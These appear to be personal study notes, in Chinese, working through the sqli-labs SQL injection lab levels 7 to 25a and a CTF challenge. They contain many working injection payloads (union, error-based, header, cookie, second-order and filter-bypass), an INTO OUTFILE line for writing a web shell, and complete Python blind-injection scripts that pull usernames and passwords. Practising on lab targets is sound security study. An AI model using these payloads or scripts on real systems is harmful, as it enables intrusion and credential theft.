?id=1’)) union select 1,2,’‘ into outfile “C:\phpStudy\WWW\sqli\Less-7\test.php” – #

这里的路径不是我的环境
现在才知道原来$_GET和POST必须大写…..
最后连马就行

另一种解法,用写文件的权限在服务的less7题目目录写txt访问爆库结果

在sql中能用‘@@datadir’ 返回数据库的绝对路径,随后猜测网站的绝对路径

将查询到的当前用户和数据库名称写入到题目目录下的1.txt随后访问就能看到查询结果

1
?id=-1')) union select 1,user(),database(), into outfile "题目目录\\1.txt" --+

然后就是标准操作

1
?id=-1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' into outfile "题目目录\\2.txt" --+

我想,因为不用担心回显界面问题所以也可以不用group_concat,union等,前面两个的查询也是一样

1
?id=-1')) select table_name from information_schema.tables where table_schema='security' into outfile "题目目录\\3.txt" --+

爆字段

1
?id=-1')) select column_name from information_schema.columns where table_name='users' into outfile "题目目录\\4.txt" --+

其实我看没有了回显页面的限制,不用爆字段也行,直接爆表就得:

1
?id=-1')) select * from users into outfile "题目目录\\5.txt" --+ 

这里写入文件的时候,需要注意的是利用数据库file权限向操作系统写入文件时,对于相同文件名的文件不能覆盖,所以如果第一次上传1.txt,下次再上传1.txt,就是无效命令了,也就是新的1.txt中的内容并不会覆盖之前的1.txt

https://blog.csdn.net/m0_46315342/article/details/106557552


title: note-05
date: 2025-03-04 21:17:54
tags: sql-labs

修正sql-labs-less7错误

实现了win下phpstudy部署sqli,自己做了一遍less7,发现了select和union select的问题,
上次我以为有了文件写入后不需要union了,后来发现并不是这样,没了union会失败
问了kimi

为什么
?id=-1’)) union select 1,2,table_name from information_schema.tables where table_schema=’security’ into outfile”D:\phpstudy_pro\WWW\sqli-labs\Less-7\4.txt”–+

?id=-1’)) select table_name from information_schema.tables where table_schema=’security’ into outfile”D:\phpstudy_pro\WWW\sqli-labs\Less-7\4.txt”–+
不生效

KIMI:

为什么UNION SELECT是关键?
UNION SELECT的作用是把两个查询的结果合并在一起,而不是直接替换原始查询。它要求两个查询的列数和数据类型匹配,但只要满足这些条件,就能让注入的语句与原始查询兼容。而直接的SELECT语句没有这种兼容性,直接破坏了原始查询的结构,导致语法错误。
数据库的执行逻辑决定了这一切
数据库在解析SQL语句时,会严格按照语法规则执行。如果注入的语句破坏了原始查询的结构,数据库会报错。这种报错可能不会直接显示给用户,但会导致注入失败。第一个语句通过UNION SELECT与原始查询兼容,所以能成功;第二个语句直接破坏了原始查询的语法,所以失败。
权限和路径不是问题
INTO OUTFILE操作需要数据库户具有FILE权限,而且目标路径必须有效。但既然第一个语句已经成功,说明权限和路径都没有问题。第二个语句失败的原因完全在于语法错误,而不是权限或路径。

原来联合注入漏洞叫联合是这个原理

less-8

该题测试没有报错回显,只有登录是否成功回显
只能用盲注了,
sqlmap或上次less5的脚本都行

1
2
3
4
5
python sqlmap.py -u "http://127.0.0.1/sqli-labs/Less-8/?id=1" --batch --dbs

--batch表示碰到选择时选用默认选项,--dbs表示爬取所有数据库名
-D 库名 --tables表示爬取某数据库下的所有表
-D 库名 -T 表名--columns表示爬取某库下某表的所有列

less5脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
import requests
TARGET_URL = "http://localhost/sqli-labs/Less-8/"
TRUE_STRING = "You are in..........."
CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_@$!"
HEADERS = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3"
}

def send_payload(payload):
url = f"{TARGET_URL}?id=1' AND {payload} --+"
response = requests.get(url, headers=HEADERS)
return response.text
def get_length(query):
length = 0
while True:
payload = f"LENGTH({query})={length}"
response = send_payload(payload)
if TRUE_STRING in response:
print(f"[+] 长度为: {length}")
return length
length += 1
def get_string(query, length):
result = ""
for i in range(1, length + 1):
print(f"[+] 获取第 {i} 个字符...")
for char in CHARSET:
payload = f"SUBSTR({query},{i},1)='{char}'"
response = send_payload(payload)
if TRUE_STRING in response:
result += char
print(f"[+] 当前结果: {result}")
break
return result

def main():
db_length = get_length("DATABASE()")
db_name = get_string("DATABASE()", db_length)
print(f"[+] 数据库名: {db_name}")

table_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=DATABASE())={table_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
table_count += 1
print(f"[+] 表数量: {table_count}")

table_names = []
for i in range(table_count):
tbl_length = get_length(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)")
tbl_name = get_string(f"(SELECT TABLE_NAME FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT {i},1)", tbl_length)
table_names.append(tbl_name)
print(f"[+] 表名: {tbl_name}")

target_table = "users"
print(f"[+] 获取{target_table}表的字段...")
field_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE())={field_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
field_count += 1
print(f"[+] 字段数量: {field_count}")

field_names = []
for i in range(field_count):
fld_length = get_length(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)")
fld_name = get_string(f"(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_name='{target_table}' AND table_schema=DATABASE() LIMIT {i},1)", fld_length)
field_names.append(fld_name)
print(f"[+] 字段名: {fld_name}")

print(f"[+] 获取{target_table}表的数据...")
for i in range(field_count):
if field_names[i] in ["username", "password"]:
print(f"[+] 获取字段: {field_names[i]}")
data_count = 0
while True:
payload = f"(SELECT COUNT(*) FROM {target_table})={data_count}"
response = send_payload(payload)
if TRUE_STRING in response:
break
data_count += 1
print(f"[+] 数据条数: {data_count}")

for j in range(data_count):
data_length = get_length(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)")
data = get_string(f"(SELECT {field_names[i]} FROM {target_table} LIMIT {j},1)", data_length)
print(f"[+] 数据[{j+1}]: {data}")

if __name__ == "__main__":
main()

顺便学习一下ctfshow web8 的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests

url = 'http://53aab0c2-b451-4910-a1e0-f15fd9e64b2a.challenge.ctf.show:8080/index.php?id=-1/**/or/**/'
name = ''

# 循环45次( 循环次数按照返回的字符串长度自定义)
for i in range(1, 45):
# 获取当前使用的数据库
# payload = 'ascii(substr(database()from/**/%d/**/for/**/1))=%d'
# 获取当前数据库的所有表
# payload = 'ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())from/**/%d/**/for/**/1))=%d'
# 获取flag表的字段
# payload = 'ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name=0x666C6167)from/**/%d/**/for/**/1))=%d'
# 获取flag表的数据
payload = 'ascii(substr((select/**/flag/**/from/**/flag)from/**/%d/**/for/**/1))=%d'
count = 0
print('正在获取第 %d 个字符' % i)
# 截取SQL查询结果的每个字符, 并判断字符内容
for j in range(31, 128):
result = requests.get(url + payload % (i, j))

if 'If' in result.text:
name += chr(j)
print('数据库名/表名/字段名/数据: %s' % name)
break

# 如果某个字符不存在,则停止程序
count += 1
if count >= (128 - 31):
exit()

https://blog.csdn.net/wangyuxiang946/article/details/120115458


title: note-06
date: 2025-03-05 17:52:14
tags: sql-labs

sql-labs-less9

题目说了是单引号闭合,然后怎么尝试都返回

You are in………..

没有登录是否成功回显,没有sql报错回显
意思就是只能用时间延迟来判断注入是否正确,无法像less8能用respond长度来判断是否正确了
使用

1
2
3
4
sleep()

if
and

来构造payload,例如:

1
?id=1' and if(substr(database(),1,1)='s',1,sleep(2)) --+

意思是如果数据库第一个字符为’s’,则返回1(true),否则则延迟回显
基于此原理

KIMI:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
import time

ALPHABET = "abcdefghijklmnopqrstuvwxyz0123456789_@.-"
SLEEP_TIME = 1
URL = "http://sqli-labs.com/Less-9/?id=1' and substr(({sql}),{position},1)='{char}' and sleep({time})--+"

def inject(path):
start = time.time()
response = requests.get(path)
end = time.time()
if response.status_code == 200 and end - start > SLEEP_TIME:
return True
else:
return False

def extract_data(sql):
s = ""
position = 0
while True:
position += 1
# 判断是否为空
res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME))
if res:
break
# 尝试每个字符
for char in ALPHABET:
res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME))
if res:
s += char
break
return s

# 获取数据库名
print(extract_data("database()"))

# 获取表名
print(extract_data("select group_concat(table_name) from information_schema.tables where table_schema='security'"))

# 获取字段名
print(extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'"))

# 获取用户名和密码
print(extract_data("select group_concat(username,'~',password) from users"))

叫kimi加了注释,自己小改了一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests  # 导入requests库,用于发送HTTP请求
import time # 导入time库,用于测量时间延迟

# 定义一个包含可能字符的字符串,用于猜测数据库、表和字段的名称
ALPHABET = ",abcdefghijklmnopqrstuvwxyz0123456789_@.-"

# 定义一个时间延迟,用于判断是否存在SQL注入
SLEEP_TIME = 1

# 定义目标URL,其中包含一个SQL注入的payload模板
# {sql}:表示要执行的SQL查询
# {position}:表示当前猜测的字符位置
# {char}:表示当前猜测的字符
# {time}:表示延迟时间
URL = "http://localhost/sqli-labs/Less-9/?id=1' and if(substr(({sql}),{position},1)='{char}',sleep({time}),1)--+"

# 定义一个函数,用于发送HTTP请求并判断是否存在延迟
def inject(path):
start = time.time() # 记录请求开始时间
response = requests.get(path) # 发送HTTP GET请求
end = time.time() # 记录请求结束时间
# 如果响应状态码为200且响应时间超过预设的延迟时间,则认为存在SQL注入
if response.status_code == 200 and end - start > SLEEP_TIME:
return True
else:
return False

# 定义一个函数,用于提取数据库、表、字段或数据
def extract_data(sql):
s = "" # 初始化一个空字符串,用于存储结果
position = 0 # 初始化字符位置计数器
while True:
position += 1 # 每次循环增加字符位置
# 尝试猜测当前字符位置是否为空
res = inject(URL.format(sql=sql, position=position, char="", time=SLEEP_TIME))
if res:
break # 如果为空,退出循环
# 遍历所有可能的字符
for char in ALPHABET:
# 构造完整的URL并发送请求
res = inject(URL.format(sql=sql, position=position, char=char, time=SLEEP_TIME))
if res:
s += char # 如果猜测正确,将字符添加到结果字符串中
break # 退出循环,继续下一个字符
return s # 返回最终结果字符串

# 获取数据库名
database = extract_data("database()")
print(database) # 调用extract_data函数,传入SQL查询语句获取数据库名

# 获取表名
tables = extract_data("select group_concat(table_name) from information_schema.tables where table_schema='%s'" % database)
print(tables)

# 获取字段名
columns = extract_data("select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'")
print(columns)

# 获取用户名和密码,可以替换自己想要的表名
#all = extract_data("select group_concat(id,username,password) from users")
#print(all)

我发现把逗号放最前面就不容易丢逗号了。

less10

就是把less9的单引号闭合改为双引号闭合:

1
?id=1" and if(substr(database(),1,1)='s',1,sleep(2)) --+

title: note-07
date: 2025-03-06 21:08:00
tags: sql-labs

sql-labs-less11

以前ctf练习题反而是post模式做的多些,
notice

注意原先请求的值要改为数据库不存在的值免得将后面的查询结果覆盖

hackbar下的结构

1
uname=1'union select user(),database()#&passwd=&submit=Submit

之后的注入拼接进uname后

爆用户和库名:

1
1' union select user(),database()#

爆表名:

1
1'union select user(),group_concat(table_name) from information_schema.tables where table_schema='security'#

爆字段:

1
2
1'union select user(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'#
不加and后面的话好像会把其它库的同名表下的字段爆出来

最后爆库:

1
1'union select user(),group_concat(id,username,password) from users#

less12

应该是加了检查,password不能为空

1
uname=1&passwd=1") or true#&submit=Submit

回显

Your Login name:Dumb
Your Password:Dumb

成功闭合sql查询,然后走流程通关。


title: note-08
date: 2025-03-07 14:10:00
tags: sql-labs

less-13

只有登录成功回显,没其它信息
密码传入必须有字符,闭合点

1
1') #

错误注入

payload

1
uname=1&passwd=1') or updatexml(1,concat(0x7e,(select user()),0x7e),1)#&submit=Submit

布尔盲注

因为有登录成功反馈,可以使用布尔盲注

1
uname=1&passwd=1') or if(length(database()=8),0,1)#&submit=Submit

太菜了写不出脚本,使用sqlmap,或者bp来爆破。
找了一个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests

# 网站路径
url = "http://localhost/sqli-labs/Less-13/"
# 判断长度的payload
payload_len = """a') or length(
(database())
) ={n} -- a"""
# 枚举字符的payload
payload_str = """a') or ascii(
substr(
(database())
,{l},1)
) ={n} -- a"""

# post请求参数
data= {
"uname" : "a') or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('测试成功,长度为:', length)
return length;
else:
print('正在测试长度:', length)
length += 1


# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break

length = getLen(payload_len)
getStr(length)

可以换database()来实现其它注入,less13用单引号,less14用双引号
脚本出处:https://blog.csdn.net/wangyuxiang946/article/details/118094895

less-14

换了闭合点,可以按less13的方式解:

1
uname=1&password=1" or true #&submit=Submit

less-15

没有报错回显,无法用报错注入,只能用布尔盲注
闭合点:

1
uname=1&password=1' or true#&submit=Submit

title: note-09
date: 2025-03-09 02:27:08
tags: sql-labs

sql-labs-less16

先找一下注入点

1
uname=1&passwd=1") or true#&submit=Submit

尝试报错注入,无果
进行盲注
改一下less14的脚本来用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests

# 网站路径
url = "http://localhost/sqli-labs/Less-16/"
# 判断长度的payload
payload_len = """a") or length(
(select group_concat(table_name) from information_schema.tables where table_schema='security')) ={n} -- a"""
# 枚举字符的payload
payload_str = """a") or ascii(
substr(
(select group_concat(table_name) from information_schema.tables where table_schema='security'),{l},1)) ={n} -- a"""

# post请求参数
data= {
"uname" : "a“ or 1 -- a",
"passwd" : "1",
"submit" : "Submit"
}

# 判断长度
def getLen(payload_len):
length = 1
while True:
# 修改请求参数
data["uname"] = payload_len.format(n = length)
response = requests.post(url=url, data=data)
# 出现此内容为登录成功
if '../images/flag.jpg' in response.text:
print('测试成功,长度为:', length)
return length;
else:
print('正在测试长度:', length)
length += 1


# 枚举字符
def getStr(length):
str = ''
# 从第一个字符开始截取
for l in range(1, length+1):
# 枚举字符的每一种可能性
for n in range(32, 126):
data["uname"] = payload_str.format(l=l, n=n)
response = requests.post(url=url, data=data)
if '../images/flag.jpg' in response.text:
str += chr(n)
print('第', l, '个字符枚举成功:',str )
break

length = getLen(payload_len)
getStr(length)

by:https://blog.csdn.net/wangyuxiang946/article/details/118094895
只用改payload中的,两个都要改不然字长对不上

less17

输入正确的账户和密码:admin,admin
提示密码已更新
看来页面是能对原有用户密码进行修改
在less1确认了猜测是正确的。
没想法了去查博客,
查看页面源码,是对username做了过滤,会先检查库里是否有对应username
只能从password注入

报错注入

1
2
3
1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#
或者
1' and extractvalue(1, concat(0x7e,(select group_concat(id,username,password) from users),0x7e))#

回显

You can’t specify target table ‘users’ for update in FROM clause

看来是不能直接爆表

原因是mysql数据不支持查询和更新是同一张表。所以我们需要加一个中间表。这个关卡需要输入正确账号因为是密码重置页面,所以爆出的是该账户的原始密码。如果查询时不是users表就不会报错。

此payload创建了新的临时表x来避免对正在更新的users表进行直接查询

1
123456' and extractvalue(1,concat(0x7e,(select * from(select concat(username,':',password) from users limit 0,1)x)))#

KIMI:

1
2
3
4
5
6
7
' OR (updatexml(1,concat('!',(SELECT concat_ws(':',username,password) FROM (SELECT username,password FROM users)text LIMIT 0,1)),1))#  
```
updatxml()
```sql
updatexml(1, concat('!', data), 1)
如果data是一个查询结果,那么当updatexml()函数执行时,会因为xpath_expr不符合要求而报错,
错误信息中会包含data的内容。

数据查询部分:

1
SELECT concat_ws(':', username, password) FROM (SELECT username, password FROM users)text LIMIT 0,1

功能:

SELECT username, password FROM users:从users表中查询username和password字段。
(……)text:这是一个派生表(子查询的结果被当作一个临时表),命名为text。派生表的作用是绕过某些SQL注入场景中对直接查询表的限制。
concat_ws(‘:’, username, password):将username和password字段用冒号(:)拼接成一个字符串,例如admin:password123。
LIMIT 0,1:限制查询结果只返回第一行数据。
作用:
从users表中提取用户名和密码,并将它们拼接成一个字符串,作为updatexml()函数的第二个参数。

执行过程:

闭合原语句并注入逻辑: OR操作使得注入的语句能够被执行。
查询数据: 从users表中提取用户名和密码,并拼接成一个字符串。
触发报错: 将拼接后的字符串作为updatexml()的第二个参数,触发报错。
泄露数据: 报错信息中会包含拼接后的字符串,从而泄露用户名和密码。
返回结果:
当这个注入语句执行时,MySQL会返回一个错误信息,类似如下:
XPATH syntax error: ‘!admin:password123’
从这个错误信息中,我们可以提取出admin:password123,从而获取到用户名和密码。

group by报错注入

不想看了,反正先知道有这个group by报错注入

函数说明,错误说明

concat_ws()

语法:concat_ws(separator, str1, str2, …, strN)
功能:将两个或多个字符串用指定的分隔符连接起来,返回连接后的字符串。
特点:
第一个参数是分隔符,后续参数是要连接的字符串。
如果分隔符为 NULL,则结果为 NULL。
如果某个字符串为 NULL,则在连接时会跳过该字符串。

1
2
SELECT concat_ws(':', '用户名', '密码', '邮箱');
-- 结果:用户名:密码:邮箱

extractvalue函数

1’ and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)#

回显

Incorrect parameter count in the call to native function ‘extractvalue’

KIMI:
出现这个错误是因为extractvalue()函数的参数数量不正确。extractvalue()函数在mysql中用于从xml数据中提取值,它的语法是:

extractvalue(xml_target, xpath_expression)

它只接受两个参数:
xml_target:要从中提取值的xml数据。
xpath_expression:用于定位xml数据中特定节点的xpath表达式。
而在你的payload中:

extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from users),0x7e),1)

你传递了三个参数给extractvalue()函数,这显然不符合它的定义,因此mysql会报错,提示参数数量不正确。
正确的用法示例
如果你想使用extractvalue()函数来进行sql注入并获取数据,可以参考以下payload:

1’ and extractvalue(1, concat(0x7e,(select group_concat(id,username,password) from users),0x7e))#

这里只传递了两个参数给extractvalue()函数,符合它的定义,因此不会出现参数数量错误的问题。

派生表

1
2
(... ...)word
(SELECT username, password FROM users)text #为派生表text

title: note-10
date: 2025-03-10 21:45:47
tags: sql-labs

less18 可能是叫做报头注入

在有头部回显的状况下用

如图payload

1
User-Agent: ' or updatexml(1,concat('!',(database())),1),2,3)#

1

因为源码里有检查三个参数,所以要输入三个参数,或者用

1
2
3
4
5
' or extractvalue(1,concat(0x7e,database())) or'
```
闭合,此时后端代码就会变成
```sql
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('' or extractvalue(1,concat(0x7e,database())) or'', '$IP', $uname)";

前后两端的’是为了闭合原有的单引号中间用and,or等连接即可。

闭合单引号:通过’闭合原SQL语句中的单引号,确保语法正确。

使用or:or用于确保即使原语句的条件不成立,我们的注入语句仍然会被执行。

注入extractvalue():extractvalue()函数被用来触发报错,concat(0x7e,database())将数据库名称与一个波浪号(0x7e是波浪号的十六进制表示)拼接,从而在报错信息中回显出数据库名称。

闭合表达式:通过or ‘’闭合整个表达式,确保语法正确。

2

最终payload

1
2
3
User-Agent: ' or extractvalue(1,concat('!',(select concat(username,2,password)from users limit 0,1))),1,1)#

User-Agent: ' or extractvalue(1,concat(0x7e,database())),1,1)#

为什么要用 or 或 and 连接:

因为使用了报错注入,所以需要使用or或and来闭合原语句并插入的注入语句。

less19 头部注入-Referer

后端可以注入的语句

1
$insert="INSERT INTO `security`.`referers` (`referer`, `ip_address`) VALUES ('$uagent', '$IP')";

相比上一关只有两个参数,所以可以这样

1
2
3
4
5
6
7
8
9
Referer: ' or updatexml(1,concat('!',(databass())),1),2)#  //爆数据库

Referer: ' or updatexml(1,concat('!',(select group_concat(table_name)from information_schema.tables where table_schema='security')),1),2)# //爆表名

Referer: ' or updatexml(1,concat('!',(select concat(column_name)from information_schema.columns where table_name='users' and table_schema='security' limit 0,1)),1),2)#
//分段回显

Referer: ' or updatexml(1,concat('!',(select concat(id,username,'!',password)from users limit 0,1)),1),2)#
//最后一行行爆

3
也可以这样

1
Referer: ' or extractvalue(1,concat(0x7e,database())) or'

less20

题目提示cookie注入,登录正确的账户名出现以下界面
4
表头如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /sqli-labs/Less-20/index.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/sqli-labs/Less-20/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=admin
Connection: close

cookie只有一个unmae?
尝试在uname注入
5

发现注入点

1
Cookie: uname='union select 1,2,group_concat(id,username,'!',password) from users#

可能是该后端代码造成了注入

1
$sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";

6


title: note-11
date: 2025-03-12 16:19:54
tags: sql-labs

less-21

根据题目提示先登正确账户密码吗,然后bp抓包

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
GET /sqli-labs/Less-21/index.php HTTP/1.1
Host: localhost
Cache-Control: max-age=0
sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost/sqli-labs/Less-21/index.php
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: uname=YWRtaW4%3D
Connection: close

看到cookie中uname明显不是用来登录的admin,是admin经过base64加密后的字符

1
Cookie: uname=YWRtaW4%3D

用赛博厨子解出来尽然是

1
2
3
YWRtaW4%3D
decode base64=
admin7

怀疑是后面%3D是url字符,
将构建好的闭合点加密成base64后再上传

1
2
3
YWRtaW4n
回显
Issue with your mysql: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''admin'') LIMIT 0,1' at line 1

最后测出闭合语句

1
2
3
uname=YWRtaW4nKSM=
base解码就是
uname=admin')#

最后payload

1
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsMixncm91cF9jb25jYXQoaWQsdXNlcm5hbWUsJyEnLHBhc3N3b3JkKSBmcm9tIHVzZXJzIw==

less-22

和上题解法一样,就是换了闭合点

最终payload

1
Cookie: uname=IiB1bmlvbiBzZWxlY3QgMSwyLGdyb3VwX2NvbmNhdChpZCx1c2VybmFtZSwnIScscGFzc3dvcmQpIGZyb20gdXNlcnMj

less-23

看题目,
strip comment,看翻译是删除注释,不懂啥意思
看一眼网页源码,

1
2
3
4
5
6
7
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

闭合点是’
但好像把#,–,这种注释给替换成空字符了,
有没有不用注释的方法呢,
注释的作用是把后面的语句无效化。
那试试绕过?双写绕过试试?
不行,实在试不出来,去看博客吧

采用闭合的方式:

1
?id=' or extractvalue(1,concat(0x7e,database())) or' 

好像是拼入源码会变成

1
$sql="SELECT * FROM users WHERE id='' or extractvalue(1,concat(0x7e,database())) or'' LIMIT 0,1";

对比

1
2
3
4
$sql="SELECT * FROM users WHERE id=''union select #' LIMIT 0,1";
//若此出注释符被过滤,则会多出一个单引号导致无法注入
//被过滤后的结果
$sql="SELECT * FROM users WHERE id=''union select' LIMIT 0,1";

采用;%00替换注释

采用;%00替换注释:

1
?id=1';%00

%00 是 URL 编码的空字符(\x00)

组合 ;%00 的完整逻辑
攻击者通过 ;%00 实现以下目标:

结束当前语句:分号 ; 终止 UNION SELECT 查询。

截断后续内容:空字符 %00 让后端忽略原查询中可能存在的其他条件(如 LIMIT 1 或 AND 子句)。

绕过闭合引号:如果原查询的闭合引号在空字符后被截断,可能避免语法错误。

最后payload:

1
?id=' union select 1,2,group_concat(username,':',password) from users;%00

less 24 二次注入

二次注入
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了SQL查询语句所导致的注入。

看别的大佬博客

在注册新用户中注册已有的用户名会提示不行,但是username没有被过滤,可从username下手。

我们先注册一个账号名叫admin’#。可以看到我们成功将有污染的数据写入数据库。单引号是为了和之后密码修的用户名的单引号进行闭合,#是为了注释后面的数据。

之后也用户名admin’#和密码是123456登录,进入修改密码页面。原始密码输入123456,新密码我输入的是111111,可以看到密码修改成功。

当我们数据库查看的时候发现修改的是管理员的密码。而不是我们的注册账户的密码。

我的总结理解是在注册新用户时把有污染的数据写入数据库,当再修改admin’#时会直接把admin’#拼入修改的查询语句,而注释掉了原来验证原账号密码的部分

原语句:

1
$sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "

当登录admin’#并点修改密码时会出现

1
$sql = "UPDATE users SET PASSWORD='1234' where username='admin'#' and password='$curr_pass' "

这样就会变成修改admin的密码而不是admin’#的,并且会将后面验证admin密码的部分注释掉。


title: note-12
date: 2025-03-13 18:58:13
tags: sql-labs

less-25 字符过滤绕过

由题目可知道过滤了or和and,大小写没用。

1
2
3
4
5
6
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/AND/i',"", $id); //Strip out AND (non case sensitive)
return $id;
}

i表示不敏感大小写,这样的话想用报错注入就要进行绕过了

1
2
and可以用&&
or可以用||

也有双写绕过

1
2
3
4
5
6
7
8
9
10
输入
oorr
进行过滤后会变成
or
实现绕过

同理
输入aandnd
经过过滤变成
and

当然可以直接用联合注入法:
注意要绕过字符

1
2
3
4
5
6
?id=' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security' --+

?id=' union select 1,2,group_concat(column_name) from infoorrmation_schema.columns where table_name='users' aandnd table_schema='security'--+

information要换成infoorrmation。
and要换成&&或者aandnd。

最后payload

1
2
3
?id=' union select 1,2,group_concat(id,username,'!',passwoorrd) from users--+

passsword要换成passwoord

less-25a

要求使用盲注,而且像上题一样过滤or和and,
测试了好一会,发现根本不需要闭合

1
?id=-1 union select 1,2,3 

题目可以直接联合注入

1
?id=-1 union select 1,2,group_concat(id,username,passwoorrd) from users 

但是本意应该是让练习盲注的,所以修改了一下以前的脚本
时间盲注:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import requests  # 导入requests库,用于发送HTTP请求
import time # 导入time库,用于测量时间延迟

# 定义一个包含可能字符的字符串,用于猜测数据库、表和字段的名称
ALPHABET = ",abcdefghijklmnopqrstuvwxyz0123456789_@.-"

# 定义一个时间延迟,用于判断是否存在SQL注入
SLEEP_TIME = 1

# 定义目标URL,其中包含一个SQL注入的payload模板
# {sql}:表示要执行的SQL查询
# {position}:表示当前猜测的字符位置
# {char}:表示当前猜测的字符
# {time}:表示延迟时间
URL = "http://localhost/sqli-labs/Less-25a/?id=1 aandnd if(substr(({sql}),{position},1)='{char}',sleep({time}),1)--+"

# 定义一个函数,用于发送HTTP请求并判断是否存在延迟
def inject(path):
start = time.time() # 记录请求开始时间
response = requests.get(path) # 发送HTTP GET请求
